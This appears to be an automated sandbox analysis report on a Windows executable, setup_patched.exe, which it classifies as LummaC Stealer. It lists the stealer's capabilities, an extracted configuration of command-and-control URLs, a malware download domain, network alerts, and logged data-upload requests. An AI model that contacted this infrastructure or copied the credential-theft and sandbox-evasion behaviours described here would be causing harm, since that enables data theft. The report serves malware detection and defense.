Edit tour

Windows Analysis Report
setup_patched.exe

Overview

General Information

Sample name:	setup_patched.exe
Analysis ID:	1664110
MD5:	793e23c2663f78fe14e253cd2abe1753
SHA1:	5bccf1485595a3a2b028feeaf4d7b3ed52a1a9cc
SHA256:	75ec6dfa7af5fad2a4c0180a4b9e754f42bb69bfa68fc51f4c18e63f37c13303
Tags:	de-pumpedexeLummaStealeruser-aachum
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

Potential key logger detected (key state polling based)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

setup_patched.exe (PID: 7448 cmdline: "C:\Users\user\Desktop\setup_patched.exe" MD5: 793E23C2663F78FE14E253CD2ABE1753)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["bxattlepath.digital/ogda", "jawdedmirror.run/ewqd", "changeaie.top/geps", "lonfgshadow.live/xawi", "liftally.top/xasj", "nighetwhisper.top/lekd", "salaccgfa.top/gsooz", "zestmodp.top/zeda", "owlflright.digital/qopy"], "Build id": "637b55279021aab33278188cfa638397"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.1611492894.00000000027C1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-13T17:10:06.778863+0200	2028371	3	Unknown Traffic	192.168.2.5	49703	89.169.54.153	443	TCP
2025-04-13T17:10:30.132125+0200	2028371	3	Unknown Traffic	192.168.2.5	49693	104.21.42.51	443	TCP
2025-04-13T17:10:31.727826+0200	2028371	3	Unknown Traffic	192.168.2.5	49696	104.21.42.51	443	TCP
2025-04-13T17:10:33.341119+0200	2028371	3	Unknown Traffic	192.168.2.5	49697	104.21.42.51	443	TCP
2025-04-13T17:10:34.443812+0200	2028371	3	Unknown Traffic	192.168.2.5	49698	104.21.42.51	443	TCP
2025-04-13T17:10:37.528047+0200	2028371	3	Unknown Traffic	192.168.2.5	49699	104.21.42.51	443	TCP
2025-04-13T17:10:38.484166+0200	2028371	3	Unknown Traffic	192.168.2.5	49700	104.21.42.51	443	TCP
2025-04-13T17:10:39.621084+0200	2028371	3	Unknown Traffic	192.168.2.5	49701	104.21.42.51	443	TCP
2025-04-13T17:10:41.723058+0200	2028371	3	Unknown Traffic	192.168.2.5	49702	104.21.42.51	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://h1.mockupeastcoast.shop/shark.binrn	Avira URL Cloud: Label: malware
Source: https://h1.mockupeastcoast.shop/	Avira URL Cloud: Label: malware
Source: https://h1.mockupeastcoast.shop/shark.bine	Avira URL Cloud: Label: malware
Source: https://h1.mockupeastcoast.shop/Y	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000003.1611492894.00000000027C1000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["bxattlepath.digital/ogda", "jawdedmirror.run/ewqd", "changeaie.top/geps", "lonfgshadow.live/xawi", "liftally.top/xasj", "nighetwhisper.top/lekd", "salaccgfa.top/gsooz", "zestmodp.top/zeda", "owlflright.digital/qopy"], "Build id": "637b55279021aab33278188cfa638397"}

Multi AV Scanner detection for submitted file

Source: setup_patched.exe	Virustotal: Detection: 7%			Perma Link
Source: setup_patched.exe	ReversingLabs: Detection: 16%

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.1611492894.00000000027C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: bxattlepath.digital/ogda
Source: 00000000.00000003.1611492894.00000000027C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: jawdedmirror.run/ewqd
Source: 00000000.00000003.1611492894.00000000027C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: changeaie.top/geps
Source: 00000000.00000003.1611492894.00000000027C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: lonfgshadow.live/xawi
Source: 00000000.00000003.1611492894.00000000027C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: liftally.top/xasj
Source: 00000000.00000003.1611492894.00000000027C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: nighetwhisper.top/lekd
Source: 00000000.00000003.1611492894.00000000027C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: salaccgfa.top/gsooz
Source: 00000000.00000003.1611492894.00000000027C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: zestmodp.top/zeda
Source: 00000000.00000003.1611492894.00000000027C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: owlflright.digital/qopy

Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0211BB24 CryptUnprotectData,	0_3_0211BB24
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0211C0A0 CryptUnprotectData,	0_3_0211C0A0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_3_0211AC9E CryptUnprotectData,	0_3_0211AC9E

Source: setup_patched.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.42.51:443 -> 192.168.2.5:49693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.51:443 -> 192.168.2.5:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.51:443 -> 192.168.2.5:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.51:443 -> 192.168.2.5:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.51:443 -> 192.168.2.5:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.51:443 -> 192.168.2.5:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.51:443 -> 192.168.2.5:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.51:443 -> 192.168.2.5:49702 version: TLS 1.2

Source:

Binary string: c:\source\rec_source\src\BugReport\release_unicode\BugReport.pdb source: setup_patched.exe

Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_004415D0 __EH_prolog3,GetFullPathNameW,PathIsUNCW,GetVolumeInformationW,CharUpperW,FindFirstFileW,FindClose,lstrlenW,		0_2_004415D0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_004495B6 lstrlenW,FindFirstFileW,FindClose,		0_2_004495B6

Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-6E113966h]	0_3_02150380
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx edi, byte ptr [esi+ecx]	0_3_0210F3BB
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-650E84EEh]	0_3_0210DBA0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-7CAD6860h]	0_3_0214FBD0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-000000B8h]	0_3_02144860
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-66h]	0_3_02144860
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then cmp dword ptr [ebp+edi*8+00h], A4BF7AEEh	0_3_021486F0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ebx-7FFFFFFFh]	0_3_021486F0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ebp+0Ch]	0_3_0210B6E0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then cmp word ptr [edi+ebx], 0000h	0_3_0214EFD0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then mov byte ptr [ecx], dl	0_3_02112CF1
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_3_0210B200
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then cmp byte ptr [edi+eax+01h], 00000000h	0_3_02131A09
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then jmp ecx	0_3_02113246
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+5AC5B74Ch]	0_3_02129260
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then mov eax, dword ptr [esp+38h]	0_3_02146260
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+00000284h]	0_3_02123A91
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], BEB994C9h	0_3_02113294
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then mov dword ptr [esi], ecx	0_3_02113294
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then mov dword ptr [esi], ecx	0_3_02112285
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], DFD9F7EFh	0_3_02112285
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then mov dword ptr [esi], ecx	0_3_02112285
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then jmp eax	0_3_0212EA87
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+ebp+0Ch]	0_3_0210C340
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+08h]	0_3_02131B78
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then mov dword ptr [esp+0Ch], ecx	0_3_0211E7B7
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then cmp word ptr [esi+edi+02h], 0000h	0_3_02132389
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+00000284h]	0_3_021233E0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+00000084h]	0_3_021233E0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-64h]	0_3_0211F810
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then cmp word ptr [ebx+edx+02h], 0000h	0_3_02127810
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then push edi	0_3_02111015
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then cmp word ptr [edi+ecx+02h], 0000h	0_3_0210E89F
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], A26ABC73h	0_3_0214F880
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then mov dword ptr [esi], ecx	0_3_021128BD
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_3_02134100
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-765763F6h]	0_3_02119930
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ebx+299FA5CCh]	0_3_02145940
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then inc edx	0_3_0214EE40
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx edx, byte ptr [ebp+00h]	0_3_02101E70
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-1258F45Eh]	0_3_02124680
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], BEB994C9h	0_3_0211E689
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then mov ebp, eax	0_3_021086A0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then mov byte ptr [eax], cl	0_3_021206A7
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	0_3_02109F10
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	0_3_02109F10
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then mov dword ptr [esp], eax	0_3_0214CF00
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then mov word ptr [esi], cx	0_3_0212EF30
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then mov word ptr [eax], dx	0_3_02124F80
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then mov dword ptr [esp+0Ch], ecx	0_3_0211E7B7
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx edi, word ptr [eax]	0_3_0210EFD7
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-76h]	0_3_0212EC04
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then mov dword ptr [esp+04h], ecx	0_3_0211DC6A
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then mov dword ptr [esp+04h], ecx	0_3_0211DC6A
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-0B4207D7h]	0_3_0213353B
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-0AEFFE4Ah]	0_3_0211F55C
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax]	0_3_02148540
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax]	0_3_0210FD70
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx-2B0F71EAh]	0_3_0210FD70
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 430C3968h	0_3_0214F570
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then mov edx, dword ptr [esi+30h]	0_3_02111574
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 4x nop then mov dword ptr [esp+20h], edx	0_3_0210D5B0

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: bxattlepath.digital/ogda
Source: Malware configuration extractor	URLs: jawdedmirror.run/ewqd
Source: Malware configuration extractor	URLs: changeaie.top/geps
Source: Malware configuration extractor	URLs: lonfgshadow.live/xawi
Source: Malware configuration extractor	URLs: liftally.top/xasj
Source: Malware configuration extractor	URLs: nighetwhisper.top/lekd
Source: Malware configuration extractor	URLs: salaccgfa.top/gsooz
Source: Malware configuration extractor	URLs: zestmodp.top/zeda
Source: Malware configuration extractor	URLs: owlflright.digital/qopy

Source: Joe Sandbox View

IP Address: 89.169.54.153 89.169.54.153

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49693 -> 104.21.42.51:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49696 -> 104.21.42.51:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49697 -> 104.21.42.51:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49702 -> 104.21.42.51:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49701 -> 104.21.42.51:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49699 -> 104.21.42.51:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49698 -> 104.21.42.51:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49700 -> 104.21.42.51:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49703 -> 89.169.54.153:443

Source: global traffic	HTTP traffic detected: POST /ogda HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 87Host: bxattlepath.digital
Source: global traffic	HTTP traffic detected: POST /ogda HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=blMjrvO9h3MtUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 14897Host: bxattlepath.digital
Source: global traffic	HTTP traffic detected: POST /ogda HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=10vGl9rh9rKSWUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 15051Host: bxattlepath.digital
Source: global traffic	HTTP traffic detected: POST /ogda HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=h47t68EWrrSvMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 20540Host: bxattlepath.digital
Source: global traffic	HTTP traffic detected: POST /ogda HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=QCnOOp4Urp5hrUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 5447Host: bxattlepath.digital
Source: global traffic	HTTP traffic detected: POST /ogda HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=nQ860KAtzGMIxpQWQUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 2397Host: bxattlepath.digital
Source: global traffic	HTTP traffic detected: POST /ogda HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=MO2KvhjKfAxGCYKrdfjUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 575880Host: bxattlepath.digital
Source: global traffic	HTTP traffic detected: POST /ogda HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 125Host: bxattlepath.digital

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: bxattlepath.digital
Source: global traffic	DNS traffic detected: DNS query: h1.mockupeastcoast.shop

Source: unknown

HTTP traffic detected: POST /ogda HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 87Host: bxattlepath.digital

Source: setup_patched.exe, 00000000.00000003.1522900833.000000000360D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: setup_patched.exe, 00000000.00000003.1522900833.000000000360D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: setup_patched.exe	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: setup_patched.exe, 00000000.00000003.1522900833.000000000360D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: setup_patched.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: setup_patched.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: setup_patched.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: setup_patched.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: setup_patched.exe, 00000000.00000003.1522900833.000000000360D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: setup_patched.exe, 00000000.00000003.1522900833.000000000360D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: setup_patched.exe, 00000000.00000003.1522900833.000000000360D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: setup_patched.exe, 00000000.00000003.1522900833.000000000360D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: setup_patched.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: setup_patched.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: setup_patched.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: setup_patched.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: setup_patched.exe	String found in binary or memory: http://ocsp.comodoca.com0
Source: setup_patched.exe, 00000000.00000003.1522900833.000000000360D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: setup_patched.exe, 00000000.00000003.1522900833.000000000360D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: setup_patched.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: setup_patched.exe	String found in binary or memory: http://ocsp.sectigo.com0B
Source: setup_patched.exe, 00000000.00000003.1522900833.000000000360D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: setup_patched.exe, 00000000.00000003.1522900833.000000000360D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: setup_patched.exe, 00000000.00000003.1496470864.0000000003518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: setup_patched.exe, 00000000.00000002.1612126950.0000000000674000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1513846000.0000000000671000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1563310851.0000000000672000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1535255295.000000000069E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1522658238.000000000069E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1522085345.000000000069E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1534362774.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bxattlepath.digital/
Source: setup_patched.exe, 00000000.00000002.1612188732.00000000006C7000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1597146006.00000000006C7000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1579408180.00000000006C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bxattlepath.digital/2
Source: setup_patched.exe, 00000000.00000003.1491297227.0000000000653000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1563436377.0000000000653000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bxattlepath.digital/H
Source: setup_patched.exe, 00000000.00000003.1563436377.000000000066E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1597489197.0000000000672000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000002.1612126950.00000000006C2000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000002.1612684671.0000000003500000.00000004.00000800.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1597534317.00000000006C1000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000002.1612126950.0000000000674000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000002.1612188732.00000000006C7000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1572594250.000000000066E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1576247162.000000000066E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1572535423.00000000006C1000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1579408180.00000000006C1000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000002.1612062683.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bxattlepath.digital/ogda
Source: setup_patched.exe, 00000000.00000003.1563436377.000000000066E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1572594250.000000000066E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1576247162.000000000066E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000002.1612062683.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bxattlepath.digital/ogda-
Source: setup_patched.exe, 00000000.00000002.1612126950.0000000000674000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bxattlepath.digital/ogdaY
Source: setup_patched.exe, 00000000.00000003.1534701142.00000000006EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bxattlepath.digital/ogdaa
Source: setup_patched.exe, 00000000.00000003.1534257473.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bxattlepath.digital/ogdaaH
Source: setup_patched.exe, 00000000.00000003.1597489197.0000000000672000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bxattlepath.digital/ogdaal
Source: setup_patched.exe, 00000000.00000003.1491230799.0000000000656000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bxattlepath.digital/ogdacN
Source: setup_patched.exe, 00000000.00000003.1597489197.0000000000672000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1563310851.0000000000672000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bxattlepath.digital/ogdaf
Source: setup_patched.exe, 00000000.00000003.1535255295.000000000069E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1534362774.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bxattlepath.digital/ogdal
